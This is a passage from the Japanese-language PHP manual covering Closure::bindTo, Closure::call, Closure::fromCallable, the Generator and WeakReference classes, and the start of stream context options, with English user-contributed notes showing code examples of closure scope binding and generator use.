"バインドするオブジェクト" によって、$this が関数本体で持つ値が決まり、"クラスのスコープ" は、無名関数からどのクラスの private メンバーや protected メンバーにアクセスできるのかが決まります。 すなわち、無名関数から見えるメンバーは、 その無名関数が newscope クラスのメソッドであった場合と同じものになります。

静的なクロージャは何もオブジェクトをバインドできません (newthis の値は null でなければなりません) が、 それでもこの関数を使ってクラスのスコープを変えることができます。

この関数が静的でないクロージャに関して保証するのは、 バインドされたインスタンスを持っていればスコープ内にあるということです。 また、その逆も成り立ちます。そのため、静的でないクロージャにスコープとして null インスタンスを渡すとそれは静的となり、静的でなくスコープにもないクロージャに null でないインスタンスを渡すと、特定されていない何らかのクラスのスコープに入ります。

注意:

単に無名関数を複製したいだけの場合は、 cloning を使うこともできます。

パラメータ

newthis

指定した無名関数をバインドするオブジェクト。クロージャのバインドを解除するには null を指定します。

newscope

クロージャを関連づけるクラススコープ、あるいは 'static' で現在のスコープを維持します。 オブジェクトを渡した場合は、そのオブジェクトの型をその代わりに使います。 これは、バインドしたオブジェクトの protected メソッドや private メソッドのアクセス権を決めます。 内部クラス (のオブジェクト) を をパラメータとして渡すことはできません。

返り値

新しい Closure オブジェクトを返します。 失敗した場合に false を返します

例

例1 Closure::bindTo() の例

<?php

class A {
    function __construct($val) {
        $this->val = $val;
    }
    function getClosure() {
        // このオブジェクトとスコープにバインドしたクロージャを返します。
        return function() { return $this->val; };
    }
}

$ob1 = new A(1);
$ob2 = new A(2);

$cl = $ob1->getClosure();
echo $cl(), "\n";
$cl = $cl->bindTo($ob2);
echo $cl(), "\n";
?>

上の例の出力は、 たとえば以下のようになります。

1
2

参考

  • 無名関数
  • Closure::bind() - バインドされたオブジェクトとクラスのスコープでクロージャを複製する

User Contributed Notes

Anonymous 19-Apr-2018 03:31
If you want to unbind completely the closure and the scope you need to set both to null:

<?php
class MyClass
{
    public $foo = 'a';
    protected $bar = 'b';
    private $baz = 'c';

    /**
     * @return array
     */
    public function toArray()
    {
        // Only public variables
        return (function ($obj) {
            return get_object_vars($obj);
        })->bindTo(null, null)($this);
    }
}
?>

In this example, only the public variables of the class are exported (foo).

If you use the default scope (->bindTo(null)) also protected and private variables are exported (foo, bar and baz).

It was hard to figure it out because there is nowhere mentioned in the documentation that you can use null as a scope.
luc at s dot illi dot be 31-May-2016 04:44
Access private members of parent classes; playing with the scopes:
<?PHP
class Grandparents{ private $__status1 = 'married'; }
class Parents extends Grandparents{ private $__status2 = 'divorced'; }
class Me extends Parents{ private $__status3 = 'single'; }

$status1_3 = function()
{
    $this->__status1 = 'happy';
    $this->__status2 = 'happy';
    $this->__status3 = 'happy';
};

$status1_2 = function()
{
    $this->__status1 = 'happy';
    $this->__status2 = 'happy';
};

// test 1:
$c = $status1_3->bindTo($R = new Me, Parents::class);
#$c();    // Fatal: Cannot access private property Me::$__status3

// test 2:
$d = $status1_2->bindTo($R = new Me, Parents::class);
$d();
var_dump($R);
/*
object(Me)#5 (4) {
  ["__status3":"Me":private]=>
  string(6) "single"
  ["__status2":"Parents":private]=>
  string(5) "happy"
  ["__status1":"Grandparents":private]=>
  string(7) "married"
  ["__status1"]=>
  string(5) "happy"
}
*/

// test 3:
$e = $status1_3->bindTo($R = new Me, Grandparents::class);
#$e(); // Fatal: Cannot access private property Me::$__status3

// test 4:
$f = $status1_2->bindTo($R = new Me, Grandparents::class);
$f();
var_dump($R);
/*
object(Me)#9 (4) {
  ["__status3":"Me":private]=>
  string(6) "single"
  ["__status2":"Parents":private]=>
  string(8) "divorced"
  ["__status1":"Grandparents":private]=>
  string(5) "happy"
  ["__status2"]=>
  string(5) "happy"
}
*/
?>

Clear the stack trace:
<?PHP
use Exception;
use ReflectionException;

$c = function()
{
    $this->trace = [];
};

$c = $c->bindTo($R = new ReflectionException, Exception::class);
$c();

try
{
    throw $R;
}
catch(ReflectionException $R)
{
    var_dump($R->getTrace());
}
/*
array(0) {
}
*/
?>
Nezar Fadle 19-Jan-2015 10:40
We can use the concept of bindTo to write a very small Template Engine:

#############
index.php
############

<?php

class Article{
    private $title = "This is an article";
}

class Post{
    private $title = "This is a post";
}

class Template{

    function render($context, $tpl){

        $closure = function($tpl){
            ob_start();
            include $tpl;
            return ob_end_flush();
        };

        $closure = $closure->bindTo($context, $context);
        $closure($tpl);

    }

}

$art = new Article();
$post = new Post();
$template = new Template();

$template->render($art, 'tpl.php');
$template->render($post, 'tpl.php');
?>

#############
tpl.php
############
<h1><?php echo $this->title;?></h1>
tatarynowicz at gmail dot com 14-Feb-2013 09:30
You can do pretty Javascript-like things with objects using closure binding:

<?php
trait DynamicDefinition {

    public function __call($name, $args) {
        if (is_callable($this->$name)) {
            return call_user_func($this->$name, $args);
        }
        else {
            throw new \RuntimeException("Method {$name} does not exist");
        }
    }

    public function __set($name, $value) {
        $this->$name = is_callable($value)?
            $value->bindTo($this, $this):
            $value;
    }
}

class Foo {
    use DynamicDefinition;
    private $privateValue = 'I am private';
}

$foo = new Foo;
$foo->bar = function() {
    return $this->privateValue;
};

// prints 'I am private'
print $foo->bar();

?>
safakozpinar at gmail dot com 09-Mar-2012 01:35
Private/protected members are accessible if you set the "newscope" argument (as the manual says).

<?php
$fn = function(){
    return ++$this->foo; // increase the value
};

class Bar{
    private $foo = 1; // initial value
}

$bar = new Bar();

$fn1 = $fn->bindTo($bar, 'Bar'); // specify class name
$fn2 = $fn->bindTo($bar,  $bar); // or object

echo $fn1(); // 2
echo $fn2(); // 3
anthony bishopric 03-Mar-2012 01:00
Closures can rebind their $this variable, but private/protected methods and functions of $this are not accessible to the closures.

<?php
$fn = function(){
    return $this->foo;
};

class Bar{
    private $foo = 3;
}

$bar = new Bar();

$fn = $fn->bindTo($bar);

echo $fn(); // Fatal error: Cannot access private property Bar::$foo
amica at php-resource dot de 18-Dec-2011 04:23
With rebindable $this at hand it's possible to do evil stuff:

<?php
    class A {
        private $a = 12;
        private function getA () {
            return $this->a;
        }
    }
    class B {
        private $b = 34;
        private function getB () {
            return $this->b;
        }
    }
    $a = new A();
    $b = new B();
    $c = function () {
        if (property_exists($this, "a") && method_exists($this, "getA")) {
            $this->a++;
            return $this->getA();
        }
        if (property_exists($this, "b") && method_exists($this, "getB")) {
            $this->b++;
            return $this->getB();
        }
    };
    $ca = $c->bindTo($a, $a);
    $cb = $c->bindTo($b, $b);
    echo $ca(), "\n"; // => 13
    echo $cb(), "\n"; // => 35
?>


クロージャを束縛して呼び出す

  • ≪ Closure::bindTo
  • Closure::fromCallable ≫
  • PHP Manual
  • Closure
  • クロージャを束縛して呼び出す

Closure::call

(PHP 7, PHP 8)

Closure::call — クロージャを束縛して呼び出す

説明

public Closure::call ( object $newthis , mixed ...$values ) : mixed

クロージャを一時的に newthis に束縛し、 指定したパラメータでそれを呼び出します。

パラメータ

newthis

この呼び出しの間だけクロージャを束縛するオブジェクト。

values

クロージャに渡すパラメータがある場合は、ここで指定します。

返り値

クロージャの戻り値を返します。

例

例1 Closure::call() の例

<?php
class Value {
    protected $value;

    public function __construct($value) {
        $this->value = $value;
    }

    public function getValue() {
        return $this->value;
    }
}

$three = new Value(3);
$four = new Value(4);

$closure = function ($delta) { var_dump($this->getValue() + $delta); };
$closure->call($three, 4);
$closure->call($four, 4);
?>

上の例の出力は以下となります。

int(7)
int(8)

User Contributed Notes

sergey dot nevmerzhitsky at gmail dot com 16-Sep-2016 10:12
Prior PHP 7.0 you can use this code:

<?php
$cl = function($add) { return $this->a + $add; };

$cl->bindTo($newthis);
return call_user_func_array($cl, [10]);
?>

But this bind the closure permanently! Also read the article for Closure::bindTo() about binding closures from static context.


callable をクロージャに変換する

  • ≪ Closure::call
  • Generator ≫
  • PHP Manual
  • Closure
  • callable をクロージャに変換する

Closure::fromCallable

(PHP 7 >= 7.1.0)

Closure::fromCallable — callable をクロージャに変換する

説明

public static Closure::fromCallable ( callable $callable ) : Closure

現在のスコープを用いて、指定された callable から新しい 無名関数 を作って返します。 このメソッドは、現在のスコープで callable が呼び出し可能かどうかをチェックし、可能でなければ TypeError をスローします。

パラメータ

callable

変換する callable。

返り値

新しく作られた Closure を返します。 callable が現在のスコープで呼び出し可能でなければ、 TypeError をスローします。

User Contributed Notes

nakerlund at gmail dot com 23-May-2018 07:20
I have two points:

It is possible to use Closure::fromCallable to convert private/protected methods to closures and use them outside the class.

Closure::fromCallable accepts late dynamic bindings using the keyword static if provided as a string.

My code below demonstrate how a private static method can be used as a callback in a function outside the class.

<?php
function myCustomMapper ( Callable $callable, string $str ): string {
  return join(' ', array_map( $callable, explode(' ', $str) ) );
}

class MyClass {

    public static function mapUCFirst ( string $str ): string {
        $privateMethod = 'static::mapper';
        $mapper = Closure::fromCallable( $privateMethod );
        return myCustomMapper( $mapper, $str );
    }
    private static function mapper ( string $str ): string {
        return ucfirst( $str );
    }

}

echo MyClass::mapUCFirst('four little uncapitalized words');
// Prints: Four Little Uncapitalized Words
?>
4-lom at live dot de 09-May-2018 01:16
Sadly, your comparison is incorrect.

// The equivalent to
$cl1 = Closure::fromCallable("getName");
$cl1 = $cl1->bindTo($bob, 'A');

// is most likely this
$cl2 = function() {
    return call_user_func_array("getName", func_get_args());
};
$cl2 = $cl2->bindTo($bob, 'A');

Executing one or the other Closure should result in the same access violation error you already postet.

----
A simple PHP 7.0 polyfill could look like this:
----

namespace YourPackage;

/**
 * Class Closure
 *
 * @see \Closure
 */
class Closure
{
    /**
     * @see \Closure::fromCallable()
     * @param callable $callable
     * @return \Closure
     */
    public static function fromCallable(callable $callable)
    {
        // In case we've got it native, let's use that native one!
        if(method_exists(\Closure::class, 'fromCallable')) {
            return \Closure::fromCallable($callable);
        }

        return function () use ($callable) {
            return call_user_func_array($callable, func_get_args());
        };
    }
}
igorchernin at yahoo dot com 07-May-2017 08:13
It seems that the result of the "fromCallable" behaves a little bit different then an original Lambda function.

class A {
    private $name;
    public function __construct($name)
    {
        $this->name = $name;
    }
}

// test callable
function getName()
{
      return $this->name;
}
$bob = new A("Bob");

$cl1 = Closure::fromCallable("getName");
$cl1 = $cl1->bindTo($bob, 'A');

//This will retrieve: Uncaught Error: Cannot access private property A::$name
$result = $cl1();
echo $result;

//But for a Lambda function
$cl2 = function() {
    return $this->name;
};
$cl2 = $cl2->bindTo($bob, 'A');
$result = $cl2();

// This will print Bob
echo $result;


Generator クラス

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

はじめに

Generator は ジェネレータ が返すオブジェクトです。

警告

Generator オブジェクトのインスタンスは new では作れません。

クラス概要

Generator implements Iterator {
/* メソッド */
public current ( ) : mixed
public getReturn ( ) : mixed
public key ( ) : mixed
public next ( ) : void
public rewind ( ) : void
public send ( mixed $value ) : mixed
public throw ( Throwable $exception ) : mixed
public valid ( ) : bool
public __wakeup ( ) : void
}

目次

  • Generator::current — yield した値を取得する
  • Generator::getReturn — ジェネレータの戻り値を取得する
  • Generator::key — yield したキーを取得する
  • Generator::next — ジェネレータを続行する
  • Generator::rewind — イテレータを巻き戻す
  • Generator::send — 値をジェネレータに送る
  • Generator::throw — 例外をジェネレータにスローする
  • Generator::valid — イテレータが終了したかどうかを調べる
  • Generator::__wakeup — シリアライズのコールバック

User Contributed Notes

Pistachio 05-Feb-2016 12:04
Unlike return, yield can be used anywhere within a function so logic can flow more naturally. Take for example the following Fibonacci generator:

<?php
function fib($n)
{
    $cur = 1;
    $prev = 0;
    for ($i = 0; $i < $n; $i++) {
        yield $cur;

        $temp = $cur;
        $cur = $prev + $cur;
        $prev = $temp;
    }
}

$fibs = fib(9);
foreach ($fibs as $fib) {
    echo " " . $fib;
}

// prints: 1 1 2 3 5 8 13 21 34


yield した値を取得する

  • ≪ Generator
  • Generator::getReturn ≫
  • PHP Manual
  • Generator
  • yield した値を取得する

Generator::current

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::current — yield した値を取得する

説明

public Generator::current ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

yield した値を返します。

User Contributed Notes

mrsoftware73 at gmail dot com 30-Jan-2018 10:48
<?php
function gen_one_to_three() {
    for ($i = 1; $i <= 3; $i++) {
        // Note that $i is preserved between yields.
        yield $i;
    }
}

$generator = gen_one_to_three();
foreach ($generator as $value) {
    echo "regular : ".$value , PHP_EOL;
    echo "With current function : ".$generator->current(),PHP_EOL;
}
?>


ジェネレータの戻り値を取得する

  • ≪ Generator::current
  • Generator::key ≫
  • PHP Manual
  • Generator
  • ジェネレータの戻り値を取得する

Generator::getReturn

(PHP 7, PHP 8)

Generator::getReturn — ジェネレータの戻り値を取得する

説明

public Generator::getReturn ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

ジェネレータの実行が終了すると、その戻り値を返します。

例

例1 Generator::getReturn() の例

<?php

$gen = (function() {
    yield 1;
    yield 2;

    return 3;
})();

foreach ($gen as $val) {
    echo $val, PHP_EOL;
}

echo $gen->getReturn(), PHP_EOL;

上の例の出力は以下となります。

1
2
3

User Contributed Notes

Hayley Watson 31-Oct-2018 11:58
Just to be clear, the value returned by a generator is not yielded while it is running, but is available afterwards through the getReturn() method.

One use for this could be to record the output of a generator so that it can be iterated over again without having to reconstruct and re-run the generator. (Indeed, one could write a generator that simply does exactly this for any given iterable.)

<?php
function generate_squares($n)
{
    $record = [];
    for($i = 0; $i <= $n; ++$i)
    {
        yield ($record[] = $i * $i);
    }
    return $record;
}

$squares = generate_squares(10);
foreach($squares as $s)
{
    echo $s, ' ';
}
$recorded = $squares->getReturn();
echo "\nThat's [", join(', ', $recorded), "]";
?>

Recording keys as well would take a bit more work, as generators are free to repeat them but arrays aren't.
brandon at cryy dot com 05-Oct-2017 11:18
I'm not quite sure -- I feel there is an ambiguity issue here with returning a value inside a generator and ->getReturn() method of such generator as I have been able to return an array of sorts, something like this:

function dequeue(){
try{
  foreach($this->buffer->data as $data){ ... }
}
  return $statistics;
}

foreach(($generator = $this->dequeue()) as $bdata){
.....
}

if($statistics = $generator->getReturn()){
 // generator returns $statistics
}

Obviously this is not a complete example, but $statistics does become available with the returned array.
pemapmodder1970 at gmail dot com 28-Jul-2017 09:24
The note by jm at guide42 dot com is inaccurate. Generator::getReturn() does not check the existence of the return statement, but rather whether the function has returned (finished executing).

<?php
function f(){
  yield;
}

f()->getReturn(); // Exception: Cannot get return value of a generator that hasn't returned

$f = f();
$f->next(); // NULL
$f->getReturn(); // NULL, because having no return statement implies an empty `return;`, and the void return value is resolved to null.
jm at guide42 dot com 01-Aug-2016 05:59
Be careful that `->getReturn()` will throw an exception if no return is present in the generator:

<?php
function g() {
    yield 'A';
}
try {
    g()->getReturn();
} catch (Exception $ex) {
    var_dump($ex->getMessage());
    // Cannot get return value of a generator that hasn't returned
}
?>


yield したキーを取得する

  • ≪ Generator::getReturn
  • Generator::next ≫
  • PHP Manual
  • Generator
  • yield したキーを取得する

Generator::key

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::key — yield したキーを取得する

説明

public Generator::key ( ) : mixed

yield した値のキーを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

yield したキーを返します。

例

例1 Generator::key() の例

<?php

function Gen()
{
    yield 'key' => 'value';
}

$gen = Gen();

echo "{$gen->key()} => {$gen->current()}";

上の例の出力は以下となります。

key => value

User Contributed Notes

There are no user contributed notes for this page.


ジェネレータを続行する

  • ≪ Generator::key
  • Generator::rewind ≫
  • PHP Manual
  • Generator
  • ジェネレータを続行する

Generator::next

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::next — ジェネレータを続行する

説明

public Generator::next ( ) : void

Generator::next() のコールは、 null を引数として Generator::send() をコールすることと同じ効果があります。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ Generator::next
  • Generator::send ≫
  • PHP Manual
  • Generator
  • イテレータを巻き戻す

Generator::rewind

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::rewind — イテレータを巻き戻す

説明

public Generator::rewind ( ) : void

既に処理が始まっている場合は、例外をスローします。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

i&#39;m pati on stackoverflow 05-Apr-2016 04:16
Actually, this method can be useful to test a generator before iterating, as it executes your function up to the first yield statement. I.e. if you try to read a non-existent file in a generator, an error will normally occur only in client code foreach()'s first iteration. Sometimes this can be critical to check beforehand.

Take a look at a modified example from here:
http://php.net/manual/ru/language.generators.overview.php#112985

<?php

function getLines($file) {
    $f = fopen($file, 'r');
    try {
        while ($line = fgets($f)) {
            yield $line;
        }
    } finally {
        fclose($f);
    }
}

$getLines = getLines('no_such_file.txt');
$getLines->rewind(); // with ->rewind(), a file read error will be thrown here and a log file will not be cleared

openAndClearLogFile();

foreach ($getLines as $n => $line) { // without ->rewind(), the script will die here and your log file will be cleared
    writeToLogFile('reading: ' . $line . "\n");
}

closeLogFile();

?>

P.S.: When you iterate over a generator after ->rewind(), you'll get the first yielded value immediately, as the preceding code was already executed.
uther at somewherebetweennowhere dot net 27-Jul-2015 11:38
I'm guessing the *only* purpose for this even existing is so that it is compatible with the Iterator interface o_O


値をジェネレータに送る

  • ≪ Generator::rewind
  • Generator::throw ≫
  • PHP Manual
  • Generator
  • 値をジェネレータに送る

Generator::send

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::send — 値をジェネレータに送る

説明

public Generator::send ( mixed $value ) : mixed

指定した値を yield の結果としてジェネレータに送り、ジェネレータを続行します。

ジェネレータが yield 式を指していないときにこのメソッドが呼ばれると、 まずは最初の yield 式まで進めてから値を送信します。そのため、 最初のジェネレータを指すためにわざわざ Generator::next() を呼ぶ必要はありません (Python と同じです)。

パラメータ

value

ジェネレータに送り込む値。この値が、ジェネレータが現在指している yield 式の戻り値になります。

返り値

yield した値を返します。

例

例1 Generator::send() による値の注入

<?php
function printer() {
    echo "I'm printer!".PHP_EOL;
    while (true) {
        $string = yield;
        echo $string.PHP_EOL;
    }
}

$printer = printer();
$printer->send('Hello world!');
$printer->send('Bye world!');
?>

上の例の出力は以下となります。

I'm printer!
Hello world!
Bye world!

User Contributed Notes

baohx2000 at gmail dot com 24-Oct-2019 07:15
I have found that inverse generators (using $x = yield) is a great way to handle chunked batch processing. As data is being iterated, once a specific count has been fed to the generator, it processes and resets the data. For example, you could do a batch mysql insert every 500 records.

Example (note the handling of null, which you would send to the generator to handle stragglers after the previous batch)

function importer()
{
  $max = 500;
  $items = [];
  while (true) {
    $item = yield;
    if ($item !== null) {
      $items[] = yield;
    }
    if ($item === null || count($items) >= $max) {
       // do batch operations
       $items = [];
    }
  }
}
anonymous at example dot com 21-Jun-2019 10:38
As of 7.3, the behavior of a generator in a foreach loop depends on whether or not it expects to receive data. Relevant if you are experiencing "skips".

<?php
class X implements IteratorAggregate {
    public function getIterator(){
        yield from [1,2,3,4,5];
    }
    public function getGenerator(){
        foreach ($this as $j => $each){
            echo "getGenerator(): yielding: {$j} => {$each}\n";
            $val = (yield $j => $each);
            yield; // ignore foreach's next()
            echo "getGenerator(): received: {$j} => {$val}\n";
        }
    }
}
$x = new X;

foreach ($x as $i => $val){
    echo "getIterator(): {$i} => {$val}\n";
}
echo "\n";

$gen = $x->getGenerator();
foreach ($gen as $j => $val){
    echo "getGenerator(): sending:  {$j} => {$val}\n";
    $gen->send($val);
}
?>

getIterator(): 0 => 1
getIterator(): 1 => 2
getIterator(): 2 => 3
getIterator(): 3 => 4
getIterator(): 4 => 5

getGenerator(): yielding: 0 => 1
getGenerator(): sending:  0 => 1
getGenerator(): received: 0 => 1
getGenerator(): yielding: 1 => 2
getGenerator(): sending:  1 => 2
getGenerator(): received: 1 => 2
getGenerator(): yielding: 2 => 3
getGenerator(): sending:  2 => 3
getGenerator(): received: 2 => 3
getGenerator(): yielding: 3 => 4
getGenerator(): sending:  3 => 4
getGenerator(): received: 3 => 4
getGenerator(): yielding: 4 => 5
getGenerator(): sending:  4 => 5
getGenerator(): received: 4 => 5
kexianbin at diyism dot com 29-Sep-2015 06:47
an example:

$coroutine=call_user_func(create_function('', <<<'fun_code'
    echo "inner 1:\n";
    $rtn=(yield 'yield1');
    echo 'inner 2:';var_export($rtn);echo "\n";
    $rtn=(yield 'yield2');
    echo 'inner 3:';var_export($rtn);echo "\n";
    $rtn=(yield 'yield3');
    echo 'inner 4:';var_export($rtn);echo "\n";
fun_code
));
echo ":outer 1\n";                                       // :outer 1
var_export($coroutine->current());echo ":outer 2\n";     // inner 1:, 'yield1':outer 2
var_export($coroutine->current());echo ":outer 3\n";     // 'yield1':outer 3
var_export($coroutine->next());echo ":outer 4\n";        // inner 2:NULL, NULL:outer 4
var_export($coroutine->current());echo ":outer 5\n";     // 'yield2':outer 5
var_export($coroutine->send('jack'));echo ":outer 6\n";  // inner 3:'jack', 'yield3':outer 6
var_export($coroutine->current());echo ":outer 7\n";     // 'yield3':outer 7
var_export($coroutine->send('peter'));echo ":outer 8\n"; // inner 4:'peter', NULL:outer 8
sergei dot solomonov at gmail dot com 08-Oct-2013 06:30
<?php
function foo() {
    $string = yield;
    echo $string;
    for ($i = 1; $i <= 3; $i++) {
        yield $i;
    }
}

$generator = foo();
$generator->send('Hello world!');
foreach ($generator as $value) echo "$value\n";
?>

This code falls with the error:
PHP Fatal error:  Uncaught exception 'Exception' with message 'Cannot rewind a generator that was already run'.
foreach internally calls rewind, you should remember this!
sfroelich01 at sp dot gm dot ail dot am dot com 17-Jul-2013 12:11
Reading the example, it is a bit difficult to understand what exactly to do with this. The example below is a simple example of what you can do this.

<?php
function nums() {
    for ($i = 0; $i < 5; ++$i) {
                //get a value from the caller
        $cmd = (yield $i);

        if($cmd == 'stop')
            return;//exit the function
        }
}

$gen = nums();
foreach($gen as $v)
{
    if($v == 3)//we are satisfied
        $gen->send('stop');

    echo "{$v}\n";
}

//Output
0
1
2
3
?>


例外をジェネレータにスローする

  • ≪ Generator::send
  • Generator::valid ≫
  • PHP Manual
  • Generator
  • 例外をジェネレータにスローする

Generator::throw

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::throw — 例外をジェネレータにスローする

説明

public Generator::throw ( Throwable $exception ) : mixed

例外をジェネレータにスローして、ジェネレータを続行します。 この振る舞いは、現在の yield 式の部分を throw $exception 文に置き換えたのと同じになります。

このメソッドの起動時に既にジェネレータが閉じられている場合は、呼び出し側のコンテキストに例外がスローされます。

パラメータ

exception

ジェネレータにスローする例外。

返り値

yield した値を返します。

例

例1 ジェネレータへの例外のスロー

<?php
function gen() {
    echo "Foo\n";
    try {
        yield;
    } catch (Exception $e) {
        echo "Exception: {$e->getMessage()}\n";
    }
    echo "Bar\n";
}

$gen = gen();
$gen->rewind();
$gen->throw(new Exception('Test'));
?>

上の例の出力は以下となります。

Foo
Exception: Test
Bar

User Contributed Notes

gt199899 at gmail dot com 13-Nov-2017 11:38
$gen = (function () {
    try {
        yield 1;
    } catch (Exception $e) {
        echo $e->getMessage();
    }
})();

$gen->throw(new Exception('gen throw exception'));
gt199899 at gmail dot com 13-Nov-2017 11:37
$gen = (function () {
    try {
        yield 1;
    } catch (Exception $e) {
        echo $e->getMessage();
    }
})();

$gen->throw(new Exception('gen throw exception'));
jeudipolanco at ymail dot com 30-Aug-2016 09:31
there have errors the form correct to do that is of this way:

 function gen() {
    echo "Foo\n";
    try {

    throw new Exception('Prueba');

    } catch (Exception $e) {
        echo "Excepcion: {$e->getMessage()}\n";
    }
    echo "Bar\n";
}

 gen();

 i resolved one tecnic of how work getMessage look at it:

$myarray=array();

if($respuesta == "Mark"){

for($i=5;$i<=16;$i++){
try {

    $palabra="soy la excepcion en la linea:".$i;

     throw new Exception($palabra);

}
catch(Exception $e) {

        $myarray[$e->getLine()] =$palabra;

        if($e->getLine() == $i){
  echo "<br><b>La excepcion se creo en la linea : " .$e->getLine()."LA LINEA DICE:". $myarray[$e->getLine()]."</b>";
}//if

}//catch

}//for

}//if


イテレータが終了したかどうかを調べる

  • ≪ Generator::throw
  • Generator::__wakeup ≫
  • PHP Manual
  • Generator
  • イテレータが終了したかどうかを調べる

Generator::valid

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::valid — イテレータが終了したかどうかを調べる

説明

public Generator::valid ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

イテレータが終了した場合に false を返します。まだ終了していない場合は true を返します。

User Contributed Notes

Igor Frolov 17-May-2019 10:01
Notice if you call it with open empty generator, it will close while checking.


シリアライズのコールバック

  • ≪ Generator::valid
  • WeakReference ≫
  • PHP Manual
  • Generator
  • シリアライズのコールバック

Generator::__wakeup

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Generator::__wakeup — シリアライズのコールバック

説明

public Generator::__wakeup ( ) : void

ジェネレータはシリアライズできないので、例外をスローします。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


WeakReference クラス

(PHP 7 >= 7.4.0)

はじめに

弱い参照により、オブジェクトが破棄されるのを防がないオブジェクトへの参照を保持することが可能です。 この機能は、キャッシュのようなデータ構造を実装するのに役立ちます。

注意:

WeakReference クラスは、 Weakref 拡張機能の WeakRef クラスと混乱させる意図はありません。

WeakReference クラスはシリアライズ化できません。

クラス概要

WeakReference {
/* メソッド */
public __construct ( )
public static create ( object $referent ) : WeakReference
public get ( ) : object|null
}

WeakReference の例

例1 基本的な WeakReference クラスの使い方

<?php
$obj = new stdClass;
$weakref = WeakReference::create($obj);
var_dump($weakref->get());
unset($obj);
var_dump($weakref->get());
?>

上の例の出力は、 たとえば以下のようになります。

object(stdClass)#1 (0) {
}
NULL

目次

  • WeakReference::__construct — コンストラクタを使ってインスタンス化はできません
  • WeakReference::create — 弱い参照を生成する
  • WeakReference::get — 弱く参照されたオブジェクトを取得する

User Contributed Notes

Sandor Toth 11-Dec-2019 04:09
You might consider to use WeakReference in your Container class. Don't forget to create the object into a variable and pass the variable to WeakReference::create() otherwise you going to ->get() null.

Consider as wrong solution, which returns null
<?php
/**
 * @return App
 */
public static function app() : App
{
    if (!static::$app) {
       static::$app = WeakReference::create(new App());
    }

    return static::$app->get();
}
?>

Consider as GOOD solution, which returns App instance
<?php
/**
 * @return App
 */
public static function app() : App
{
    if (!static::$app) {
       $app = new App();
       static::$app = WeakReference::create($app);
    }

    return static::$app->get();
}
?>


コンストラクタを使ってインスタンス化はできません

  • ≪ WeakReference
  • WeakReference::create ≫
  • PHP Manual
  • WeakReference
  • コンストラクタを使ってインスタンス化はできません

WeakReference::__construct

(PHP 7 >= 7.4.0)

WeakReference::__construct — コンストラクタを使ってインスタンス化はできません

説明

public WeakReference::__construct ( )

このメソッドは、WeakReference クラスの インスタンス化を禁止するためだけに存在しています。 WeakReference は、 ファクトリメソッド WeakReference::create() を使ってインスタンス化されることになっています。

パラメータ

この関数にはパラメータはありません。

参考

  • WeakReference::create() - 弱い参照を生成する

User Contributed Notes

There are no user contributed notes for this page.


弱い参照を生成する

  • ≪ WeakReference::__construct
  • WeakReference::get ≫
  • PHP Manual
  • WeakReference
  • 弱い参照を生成する

WeakReference::create

(PHP 7 >= 7.4.0)

WeakReference::create — 弱い参照を生成する

説明

public static WeakReference::create ( object $referent ) : WeakReference

新しい WeakReference を生成します

パラメータ

referent

このオブジェクトは、弱く参照されます。

返り値

インスタンス化されたばかりのオブジェクトを返します

User Contributed Notes

There are no user contributed notes for this page.


弱く参照されたオブジェクトを取得する

  • ≪ WeakReference::create
  • コンテキストオプションとパラメータ ≫
  • PHP Manual
  • WeakReference
  • 弱く参照されたオブジェクトを取得する

WeakReference::get

(PHP 7 >= 7.4.0)

WeakReference::get — 弱く参照されたオブジェクトを取得する

説明

public WeakReference::get ( ) : object|null

弱く参照されたオブジェクトを取得します。 既にオブジェクトが破棄されていた場合、null が返されます。

パラメータ

この関数にはパラメータはありません。

返り値

参照されている object を返します。 オブジェクトが破棄されている場合は、null を返します。

User Contributed Notes

There are no user contributed notes for this page.


コンテキストオプションとパラメータ

PHP にはさまざまなコンテキストオプションやパラメータがあり、 すべてのファイルシステムラッパーおよびストリームラッパーで使用することができます。 コンテキストの作成は stream_context_create() で行います。オプションの設定は stream_context_set_option() で、そしてパラメータの設定は stream_context_set_params() で行います。

目次

  • ソケットコンテキストオプション — ソケットコンテキストオプション一覧
  • HTTP コンテキストオプション — HTTP コンテキストオプションの一覧
  • FTP コンテキストオプション — FTP コンテキストオプションの一覧
  • SSL コンテキストオプション — SSL コンテキストオプションの一覧
  • CURL コンテキストオプション — CURL コンテキストオプションの一覧
  • Phar コンテキストオプション — Phar コンテキストオプション一覧
  • MongoDB コンテキストオプション — MongoDB コンテキストオプション一覧
  • コンテキストパラメータ — コンテキストパラメータの一覧
  • Zip コンテキストオプション — Zip コンテキストオプション一覧

User Contributed Notes

There are no user contributed notes for this page.


ソケットコンテキストオプション一覧

  • ≪ コンテキストオプションとパラメータ
  • HTTP コンテキストオプション ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • ソケットコンテキストオプション一覧

ソケットコンテキストオプション

ソケットコンテキストオプション — ソケットコンテキストオプション一覧

説明

ここでは、ソケット越しに動作するラッパー すなわち tcp、http あるいは ftp でサポートされるオプションを扱います。

オプション

bindto

PHP がネットワークにアクセスする際の IP アドレス (IPv4 あるいは IPv6 のどちらか）やポート番号を指定する際に使用されます。 書式は、IPv4 アドレスの場合は ip:port、 IPv6 アドレスの場合は [ip]:port です。 IP やポート番号に 0 を指定すると、それをシステムに自動的に設定させる ことができます。

注意:

FTP の通常の操作では 2 つのソケット接続を使用するので、 このオプションでポート番号を指定することができません。

backlog

ソケットのリスンキューから出て行く接続の数を制限します。

注意:

stream_socket_server() でのみ有効です。

ipv6_v6only

IPv4射影アドレスに関する OS のデフォルトを上書きする

注意:

